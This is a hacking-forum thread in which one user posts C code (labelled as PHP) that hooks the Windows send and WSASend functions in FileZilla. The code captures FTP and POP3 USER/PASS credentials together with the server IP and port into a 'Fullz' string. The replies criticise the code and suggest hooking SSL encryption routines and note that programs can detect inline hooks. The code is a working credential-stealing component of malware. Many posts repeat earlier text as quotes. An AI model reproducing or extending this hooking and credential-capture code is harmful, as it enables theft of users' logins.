[Cryptodemon]

Send & WSASend are Hooked.

I've tested it on Filezilla and it works.

PHP Code


<?php 
int WINAPI HOOK_send(    SOCKET s, const char *buf, int len, int flags)
{
    int hResult = REAL_send( s, buf, len, flags);
    if(hResult > 0)
    {
        ExportBuffer((char*)buf, s);
    }
    return hResult;
} 


PHP Code


<?php 
int WINAPI HOOK_WSASend(    SOCKET s,LPWSABUF lpBuffers,DWORD dwBufferCount,LPDWORD lpNumberOfBytesSent,DWORD dwFlags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
    int hResult = REAL_WSASend( s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
    if(hResult > 0)
    {
             ExportBuffer((char*)lpBuffers->buf, s);
    }
    return hResult;

} 


PHP Code


<?php 
void ExportBuffer(char *buf, SOCKET s )
{    
    if(memcmp(buf, "USER ", 5) == 0)
    {
        wsprintfA(Username, "%s", buf);
        return;
    }
    if(memcmp(buf, "PASS ", 5) == 0)
    {
        if(lstrlen(Username) != NULL)
        {
            sockaddr_in peeraddr;
            int size = sizeof(peeraddr);
            getpeername(s, (struct sockaddr *)&peeraddr, &size);
            struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr;
            char* IP = inet_ntoa(peeraddr.sin_addr);
            int Port = (int)htons( peeraddr.sin_port );

            if(lstrlen(IP) != NULL && Port > 0)
            {
                wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", Username, buf, inet_ntoa(peeraddr.sin_addr), Port);
                MessageBoxA(0, Fullz, 0, 0);
            }
        return;
        }
    }
    return;
} 


I Love feedback, please give some feedback and if you can make this function smaller, faster, easier, better whatever post it.

[Nichole]

Okay. Let me see your hook function you're using to pull this off.

[Cryptodemon]

Okay. Let me see your hook function you're using to pull this off.

People who use this to learn from and use this only for educational purposes and not for malware purposes could just use some public hooking function to test it.

[Nichole]

People who use this to learn from and use this only for educational purposes and not for malware purposes could just use some public hooking function to test it.

Okay, don't post the hook function. All you're doing however is posting an example on just one send function. Without even mentioning that in POP3 the usernames and pass codes are most likely to be encrypted! You gave an FTP example, what about an example that actually involves POP3? Or were you not able to get it to work, so you didn't bother posting it? Also you're disregarding my first statement where not every process will use the same function for sockets.

Instead of posting incomplete junk that no one will actually use, post something people can actually learn from.

Everyone who knows even the slightest bit about sockets knows the buffer arguments will contain any data that's sent or received. If a person knows this, do they really need a tutorial on how to check of a string exists in a function?

Code

char* user = 0;
if( (user = strstr("USER")) )
{
   //oh wow, this function call must contain the username and passcode
}

The whole point of your entire thread is not a hook, all you're saying is that an FTP username and password in filezilla are sent unencrypted using the send function. Which any one with the slightest bit of reverse engineering knowledge could attach to a debugger and just look at the arguments being pushed onto the stack before the send function is called.

[Cryptodemon]

Okay, don't post the hook function. All you're doing however is posting an example on just one send function. Without even mentioning that in POP3 the usernames and pass codes are most likely to be encrypted! You gave an FTP example, what about an example that actually involves POP3? Or were you not able to get it to work, so you didn't bother posting it? Also you're disregarding my first statement where not every process will use the same function for sockets.

Instead of posting incomplete junk that no one will actually use, post something people can actually learn from.

Everyone who knows even the slightest bit about sockets knows the buffer arguments will contain any data that's sent or received. If a person knows this, do they really need a tutorial on how to check of a string exists in a function?

Code

char* user = 0;
if( (user = strstr("USER")) )
{
   //oh wow, this function call must contain the username and passcode
}

The whole point of your entire thread is not a hook, all you're saying is that an FTP username and password in filezilla are sent unencrypted using the send function. Which any one with the slightest bit of reverse engineering knowledge could attach to a debugger and just look at the arguments being pushed onto the stack before the send function is called.

I've looked how POP3 worked, and it was the same as FTP "Encrypted communication for POP3 is either requested after protocol ... The original POP3 specification supported only an unencrypted USER/PASS login"

[Nichole]

I've looked how POP3 worked, and it was the same as FTP "Encrypted communication for POP3 is either requested after protocol ... The original POP3 specification supported only an unencrypted USER/PASS login"

Name a POP3 client that will pass it's username and passcode unencrypted. But that's completely disregarding the fact that all you're doing is telling people the send function contains a username and passcode. Well if it is or not encrypted, that information has to be sent to the server somehow right? Again not only one send function is used, there are multiple functions that can be used.

So just how I summed up your previous thread. I'll sum this one up.

The send functions used by FileZilla contains the username and passcode to the FTP server.

Was that so hard?

[littleshit]

what if the incoming data is ssl as for outgoing? You'd need to hook SSLENCRYPTPACKET or something along those lines.
Take a look at windowsmail.exe also detects inline hooks.